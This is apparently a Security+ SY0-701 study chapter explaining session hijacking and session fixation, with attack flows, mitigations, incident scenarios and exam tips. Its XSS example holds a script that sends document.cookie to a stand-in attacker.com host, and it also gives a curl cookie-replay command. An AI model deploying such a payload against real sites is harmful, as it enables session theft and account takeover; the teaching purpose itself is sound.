This chapter covers session hijacking and session fixation, two critical web application attacks that target the way servers maintain user state. For the SY0-701 exam (Objective 2.3: Exploiting vulnerabilities in web applications), you must understand the mechanisms, attack vectors, and defenses for these threats. Session hijacking allows an attacker to take over an authenticated session by stealing or predicting session tokens, while session fixation tricks the victim into using an attacker-controlled session ID. Both can lead to unauthorized access, data theft, and privilege escalation.
Jump to a section
Imagine a hotel where guests receive a key card that grants access to their room and the gym. The hotel uses a simple system: the key card contains a session ID (room number) and a secret token (a 4-digit PIN). When you check in, the front desk gives you a card with your room number and a random PIN, and the hotel's system stores that pair. Now, an attacker named Eve lurks in the lobby. She can't see your PIN, but she can observe your room number when you swipe the card at the door. She also notices that the hotel's system sometimes reuses PINs for different rooms—a flaw. One day, you check in, and Eve sees you swipe your card. She quickly writes down your room number and guesses your PIN might be '1234' because the hotel uses weak defaults. She creates a duplicate card with your room number and '1234', and she now has access to your room. This is session hijacking: Eve stole your session (key card) by predicting the session token (PIN). In a web session, the session ID is like the room number, and the authentication token is like the PIN. If the token is predictable or not properly protected, an attacker can forge it and impersonate you. Session fixation is different: instead of stealing your card, Eve gives you a card she already controls. She might tamper with the key card dispenser to issue cards with her own room number and PIN. When you use that card, the hotel thinks you are Eve, and she can later use her copy to access your room. In web terms, the attacker forces the victim to use a known session ID, then hijacks the session after the victim authenticates.
What Are Session Hijacking and Fixation?
Session hijacking (also known as cookie hijacking or session sidejacking) is an attack where an attacker gains unauthorized access to a valid user's web session. The attacker steals or predicts the session token (usually a cookie or URL parameter) that the server uses to identify the user. Once the attacker has this token, they can impersonate the victim and perform actions as if they were the legitimate user.
Session fixation is a related but distinct attack. Instead of stealing a session token, the attacker forces the victim to use a session ID that the attacker already knows. The attacker first obtains a valid session ID from the server (or creates one), then tricks the victim into authenticating with that ID. After the victim logs in, the attacker can use the same session ID to take over the session.
Both attacks exploit weaknesses in session management. The SY0-701 exam specifically tests your ability to identify these attacks in scenario questions and to recommend appropriate mitigations such as secure cookie attributes, session regeneration, and HTTPS enforcement.
How Session Hijacking Works Mechanically
A typical web session works like this:
User requests a login page (e.g., https://example.com/login).
Server generates a session ID (e.g., sid=abc123) and sends it to the client via a Set-Cookie header.
User submits credentials; server validates and marks the session as authenticated.
For subsequent requests, the browser includes the session cookie (Cookie: sid=abc123).
Server looks up the session data and treats the request as coming from the authenticated user.
Session hijacking occurs when an attacker obtains the session ID abc123 before the user logs out. Methods include:
Packet sniffing: On an unencrypted network (e.g., HTTP instead of HTTPS), the attacker can capture the cookie in transit.
Cross-site scripting (XSS): The attacker injects JavaScript that reads document.cookie and sends it to the attacker's server.
Session prediction: The attacker analyzes session ID generation patterns (e.g., sequential numbers, timestamps) and guesses a valid ID.
Man-in-the-middle (MITM): The attacker intercepts traffic and modifies or reads cookies.
Once the attacker has the session ID, they can use it in their own browser (e.g., via browser developer tools or a tool like curl):
curl -H "Cookie: sid=abc123" https://example.com/accountThe server will respond with the victim's account page, thinking the request is legitimate.
How Session Fixation Works Mechanically
Session fixation follows a different flow:
Attacker obtains a valid session ID from the target server. This could be done by visiting the server's login page and capturing the Set-Cookie header.
Attacker crafts a URL or link that contains this session ID, e.g., https://example.com/login?sid=attacker123.
Attacker tricks the victim into clicking this link (via phishing email, social media, etc.).
Victim's browser sends a request with the attacker's session ID. The server may accept it (if it allows session IDs in URLs).
Victim logs in with their credentials. The server authenticates the session but does not change the session ID.
Attacker now uses the same session ID (attacker123) to access the application, and the server treats the attacker as the authenticated victim.
The key difference: in hijacking, the attacker steals an existing session; in fixation, the attacker plants a session ID that the victim later authenticates.
Key Components and Variants
Session Tokens
- Cookies: Most common. Can be marked Secure (only sent over HTTPS), HttpOnly (inaccessible to JavaScript), and SameSite (prevents cross-origin sending).
- URL parameters: e.g., ?sessionid=xyz. Vulnerable to leakage via Referer headers or logs.
- Hidden form fields: e.g., <input type="hidden" name="sessionid" value="xyz">. Require POST requests.
Session Hijacking Variants - Sidejacking: Sniffing cookies over unencrypted Wi-Fi. Tools like Firesheep (now defunct) demonstrated this. - Session fixation: As described above. - Cross-site request forgery (CSRF): Often confused with session hijacking. CSRF tricks the victim into performing an action (e.g., changing password) without stealing the session. The session is still valid, but the victim unknowingly executes actions. - Session replay: Attacker captures a session token and reuses it later. This is essentially hijacking.
Standards and RFCs - RFC 6265 defines HTTP cookies. - OWASP (Open Web Application Security Project) provides guidelines for session management. - NIST SP 800-95 covers secure session management.
How Attackers Exploit These Vulnerabilities
Exploitation Steps for Session Hijacking via XSS 1. Attacker finds an XSS vulnerability in the target site (e.g., a comment field that doesn't sanitize input). 2. Attacker posts a comment containing:
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>When a victim views the page, the script executes and sends the session cookie to the attacker's server.
Attacker captures the cookie and uses it to impersonate the victim.
Exploitation Steps for Session Fixation
1. Attacker visits the target site and gets a session ID: sid=fix123.
2. Attacker sends an email to the victim: "Click here to reset your password: https://example.com/reset?sid=fix123".
3. Victim clicks the link, logs in, and the server associates sid=fix123 with the victim's account.
4. Attacker now uses sid=fix123 to access the victim's account.
Real CVEs
- CVE-2019-0215: Apache HTTP Server session fixation vulnerability due to improper handling of Session header.
- CVE-2020-8163: Ruby on Rails session cookie replay vulnerability allowing session hijacking.
How Defenders Deploy Countermeasures
Mitigations for Session Hijacking - Use HTTPS everywhere: Encrypts all traffic, preventing cookie sniffing. - Set `Secure` flag on cookies: Ensures cookies are only sent over HTTPS.
Set-Cookie: sessionid=abc123; Secure; HttpOnly; SameSite=LaxSet `HttpOnly` flag: Prevents JavaScript from accessing cookies, mitigating XSS-based cookie theft.
Use `SameSite` attribute: Strict or Lax prevents cookies from being sent in cross-origin requests, reducing CSRF and some hijacking vectors.
Implement short session timeouts: Reduces the window for hijacking.
Regenerate session IDs after login: The server should issue a new session ID upon successful authentication. This prevents session fixation and limits hijacking if the pre-auth ID was stolen.
Bind session to IP address or user-agent: Adds an additional check, but can break usability (e.g., mobile users changing networks).
Use token binding (RFC 8471): Cryptographically binds session tokens to the TLS connection.
Mitigations for Session Fixation - Regenerate session ID on login: The most effective defense. After authentication, the server creates a new session ID and invalidates the old one. - Do not accept session IDs from URL parameters: Only accept session IDs in cookies, which are less exposed. - Use `Referrer-Policy` header: Prevents leakage of session IDs in URL referrer headers. - Implement CSRF tokens: While not a direct defense, they prevent the attacker from performing actions on behalf of the victim.
Tool Examples - Burp Suite: Can be used to test session handling by intercepting and modifying cookies. - OWASP ZAP: Automated scanner that identifies session vulnerabilities. - curl: Manual testing of session fixation by crafting requests with specific cookies.
Summary of Key Points
Session hijacking steals an existing authenticated session.
Session fixation plants a known session ID before authentication.
Both require the attacker to obtain or control a valid session token.
Defenses include HTTPS, secure cookie flags, session regeneration, and short timeouts.
On the exam, distinguish between hijacking (stealing) and fixation (planting).
Reconnaissance and Target Selection
The attacker identifies a web application that uses session tokens (cookies, URL parameters) and has weak session management. They look for missing HTTPS, lack of `HttpOnly`/`Secure` flags, or session IDs that are predictable (e.g., sequential numbers, timestamps, or MD5 hashes of user data). Tools like Burp Suite or OWASP ZAP can be used to intercept traffic and examine cookies. The attacker also checks if the application regenerates session IDs after login. If not, the application is vulnerable to session fixation. The attacker may also scan for XSS vulnerabilities that could be used to steal cookies.
Obtain a Valid Session Token
For session hijacking, the attacker must obtain a valid session token. This can be done by sniffing unencrypted traffic using Wireshark (filter `http.cookie`), exploiting an XSS vulnerability to steal cookies, or predicting the session ID by analyzing patterns. For session fixation, the attacker simply visits the target application's login page and captures the session ID from the `Set-Cookie` header or URL. The attacker then crafts a malicious link containing this session ID. The attacker may also create multiple session IDs to increase the chance that one is used.
Deliver or Capture the Token
For hijacking, the attacker captures the token in transit or via XSS. The attacker's server receives the stolen cookie (e.g., via a crafted image request). For fixation, the attacker delivers the malicious link to the victim via phishing email, social media, or a compromised site. The victim clicks the link, which includes the attacker's session ID. If the application accepts session IDs in URLs, the victim's browser will send that ID. The victim then logs in, associating the attacker's session ID with their authenticated session.
Use the Token to Impersonate
Once the attacker has a valid authenticated session token (either stolen after login or fixed before login), they use it to make requests to the server. The attacker can use a tool like `curl` or a browser with modified cookies (e.g., using EditThisCookie extension) to send the session ID. The server processes the request as if it came from the legitimate user. The attacker can now view account details, change settings, perform transactions, or escalate privileges. Logs on the server will show the attacker's IP address, which may differ from the victim's IP, but if the application does not bind sessions to IP, this may go unnoticed.
Maintain Access and Cover Tracks
The attacker may continue to use the session until it expires or the victim logs out. To prolong access, the attacker might perform actions that extend the session timeout (e.g., periodic requests). The attacker may also delete logs or use anonymizing proxies to hide their IP. If the application has session fixation defenses (e.g., regeneration on login), the attack would fail. The attacker might also attempt to fixate a new session after the victim logs out by sending another malicious link. The best defense is for the application to regenerate session IDs on every authentication event and to use short session timeouts.
Scenario 1: Coffee Shop Wi-Fi Sniffing
A security analyst at a financial firm receives alerts about unusual account activity from a user who frequently works from coffee shops. The analyst reviews proxy logs and sees that the user's session cookie was captured by an attacker using a packet sniffer on the same unencrypted Wi-Fi network. The logs show a request from an IP address in a different city shortly after the victim's login. The analyst checks the web server logs and finds that the session ID used by the attacker matches the one assigned to the victim. The analyst recommends enforcing HTTPS everywhere and implementing a VPN for remote workers. The common mistake: assuming the user's password was compromised, leading to unnecessary password resets, when the real issue was session hijacking.
Scenario 2: Phishing Campaign with Session Fixation
A SOC analyst detects a phishing email targeting employees of a SaaS company. The email contains a link to the company's login page with a session ID parameter: https://company.com/login?sessionid=abc123. The analyst recognizes this as a potential session fixation attack. They check the web application's session management and confirm that session IDs are accepted via URL and are not regenerated after login. The analyst reports the vulnerability to the development team, who then implement session regeneration on login and disable URL-based session transmission. The common mistake: treating this as a simple phishing attempt without analyzing the session ID parameter, leading to a missed vulnerability.
Scenario 3: XSS-Driven Hijacking in a Web Forum
An incident responder investigates a complaint about unauthorized posts on a user's forum account. The responder reviews the forum's access logs and sees requests with the user's session cookie but from an IP address in a different country. The forum uses HTTP and does not set HttpOnly on cookies. The responder discovers an XSS vulnerability in the forum's search feature that allowed attackers to inject JavaScript. The attacker's payload sent the cookie to a remote server. The responder patches the XSS vulnerability, enables HTTPS, and sets HttpOnly and Secure flags on cookies. The common mistake: blaming the user for weak password or failing to check for XSS, which is the root cause.
What SY0-701 Tests
Objective 2.3 covers "Given a scenario, analyze potential indicators to determine the type of attack." For session hijacking and fixation, the exam expects you to:
Differentiate between session hijacking (stealing an existing session) and session fixation (forcing a session ID).
Identify indicators such as unexpected session IDs, multiple sessions from different IPs, or login without credentials.
Recommend mitigations: HTTPS, secure cookies (Secure, HttpOnly, SameSite), session regeneration, short timeouts, IP binding.
Recognize attack vectors: sniffing, XSS, phishing (for fixation), MITM, session prediction.
Common Wrong Answers and Why
Choosing "Cross-site scripting" instead of session hijacking – XSS can be used to steal cookies, but the attack itself is session hijacking if the goal is to take over a session. The exam may describe an XSS vulnerability as the method, but the attack type is session hijacking.
Confusing session fixation with CSRF – Both involve tricking the user, but CSRF forces the user to perform an action (e.g., transfer money) without stealing the session. Session fixation forces the user to use a known session ID.
Selecting "Man-in-the-middle" as the attack type – MITM is a method to intercept traffic, not the attack itself. The attack is session hijacking if the session is stolen.
Choosing "Replay attack" – Replay is capturing and retransmitting data, often used in authentication bypass. Session hijacking is specific to session tokens.
Specific Terms and Acronyms
Session ID: The token used to identify a session.
Cookie flags: Secure, HttpOnly, SameSite (Lax, Strict, None).
Session fixation: Also called session riding.
Session sidejacking: Hijacking over a local network.
OWASP: Provides session management cheat sheets.
Common Trick Questions
A scenario where a user logs in and the attacker uses the same session ID immediately. The answer is session fixation if the attacker provided the ID; otherwise, session hijacking.
A question about "session ID in URL" – this is a vulnerability that enables session fixation and also leaks via Referer headers.
A question about "regenerating session ID after login" – this is a defense against both hijacking (if pre-auth ID was stolen) and fixation.
Decision Rule for Eliminating Wrong Answers
First, determine if the attacker stole an existing session (hijacking) or forced the user to use a known ID (fixation). If the attacker's goal is to take over an authenticated session, it's hijacking. If the attacker first obtains a session ID and then tricks the user into authenticating with it, it's fixation. Eliminate answers that describe the method (e.g., XSS, phishing) rather than the attack type. Look for clues like "session ID in link" (fixation) or "cookie captured via packet sniffer" (hijacking).
Session hijacking steals an authenticated session token; session fixation forces the victim to use an attacker-controlled token.
HTTPS, Secure flag, HttpOnly flag, and SameSite attribute are critical defenses against session hijacking.
Session regeneration after login is the primary defense against session fixation and also helps against hijacking.
Common attack vectors: packet sniffing (hijacking), XSS (hijacking), phishing with session ID in URL (fixation).
The exam expects you to differentiate attacks by whether the attacker steals or plants the session ID.
OWASP provides detailed guidance on secure session management; review the Session Management Cheat Sheet.
Tools like Burp Suite and OWASP ZAP can test for session vulnerabilities.
Session binding to IP or user-agent adds defense but may affect usability.
These come up on the exam all the time. Here's how to tell them apart.
Session Hijacking
Attacker steals an existing authenticated session token.
Requires token capture via sniffing, XSS, or prediction.
Victim is already authenticated when token is stolen.
Defense: HTTPS, HttpOnly, Secure, short timeouts.
Example: Sniffing cookie over Wi-Fi.
Session Fixation
Attacker forces victim to use a known session ID.
Requires token creation by attacker and social engineering.
Victim authenticates after receiving the token.
Defense: Regenerate session ID on login, disable URL-based tokens.
Example: Phishing link with session ID parameter.
Mistake
Session hijacking and session fixation are the same attack.
Correct
They are different. Hijacking steals an existing authenticated session token. Fixation plants a known session ID before authentication, then the victim authenticates with it.
Mistake
Using HTTPS completely prevents session hijacking.
Correct
HTTPS encrypts traffic, preventing sniffing, but does not protect against XSS-based cookie theft or session prediction. Other defenses like HttpOnly and Secure flags are needed.
Mistake
Session fixation only works if the session ID is in the URL.
Correct
While URL parameters are a common vector, fixation can also work with cookies if the attacker can set a cookie on the victim's browser (e.g., via subdomain or another vulnerability).
Mistake
Regenerating session ID after login only prevents session fixation.
Correct
It also prevents session hijacking if the attacker obtained the pre-authentication session ID (e.g., via sniffing before login). After login, the old ID is invalidated.
Mistake
The SameSite cookie attribute prevents session hijacking.
Correct
SameSite prevents cookies from being sent in cross-origin requests, which can mitigate some CSRF and clickjacking, but does not prevent hijacking if the attacker can make same-origin requests (e.g., via XSS) or if the cookie is stolen directly.
Session hijacking involves stealing a valid session token (usually after authentication) and using it to impersonate the victim. Session fixation involves tricking the victim into using a session ID that the attacker already knows; the victim authenticates with that ID, and then the attacker uses it. The key difference is whether the attacker steals an existing session (hijacking) or plants a session ID before authentication (fixation). On the exam, look for clues: if the attacker captures a cookie from traffic, it's hijacking; if the attacker sends a link with a session ID, it's fixation.
Prevention includes: using HTTPS for all communications to encrypt cookies; setting the `Secure` flag so cookies are only sent over HTTPS; setting the `HttpOnly` flag to prevent JavaScript access; using the `SameSite` attribute to limit cross-origin requests; implementing short session timeouts; regenerating session IDs after login; and binding sessions to IP addresses or user-agent strings. Additionally, educate users to avoid using public Wi-Fi without a VPN. On the exam, remember that `HttpOnly` prevents XSS-based cookie theft, and `Secure` prevents sniffing.
Session regeneration is the practice of issuing a new session ID after a user authenticates. This is important because it invalidates any previous session ID that an attacker might have obtained (e.g., via sniffing before login) or that was forced on the user (session fixation). Without regeneration, an attacker who knows the pre-authentication session ID can continue to use it after the user logs in. The exam often tests this as a defense against both hijacking and fixation.
Yes, session hijacking can still occur over HTTPS if the attacker uses other methods such as cross-site scripting (XSS) to steal cookies, or if the cookie is not marked as `Secure` (so it can be sent over HTTP if the user visits an HTTP page). Also, session prediction can work regardless of encryption. However, HTTPS prevents passive sniffing of cookies. The exam may present a scenario where HTTPS is used but the application has an XSS vulnerability, leading to session hijacking.
Common tools include Burp Suite (intercepting proxy to modify and replay requests), OWASP ZAP (automated scanner), Wireshark (packet capture to sniff cookies), and browser developer tools (to inspect cookies). For session fixation, you can manually test by obtaining a session ID, logging in with it, and then trying to use the same ID from another browser. On the exam, you may be asked to identify the tool used in a scenario, such as 'an analyst uses a packet analyzer to capture cookies' – that would be Wireshark.
The `SameSite` attribute controls whether cookies are sent in cross-site requests. `SameSite=Lax` allows cookies for top-level navigations (e.g., clicking a link) but not for embedded requests (e.g., images). `SameSite=Strict` blocks all cross-site requests. `SameSite=None` requires `Secure` and allows cross-site cookies. This attribute helps mitigate CSRF attacks and can reduce the risk of session hijacking via cross-origin requests, but it does not prevent hijacking via same-origin XSS or direct cookie theft. On the exam, know the three values and their effects.
Session hijacking allows the attacker to impersonate the victim by using the victim's session token. The attacker can perform any action the victim can. CSRF (Cross-Site Request Forgery) tricks the victim's browser into making a request to a different site where the victim is authenticated, but the attacker does not see the response or session token. CSRF forces the victim to perform actions (e.g., change password) without the attacker needing to steal the session. The exam often confuses these two; remember that hijacking = stealing session, CSRF = using victim's session without stealing it.
You've just covered Session Hijacking and Fixation — now see how well it sticks with free SY0-701 practice questions. Full explanations included, no account needed.
Done with this chapter?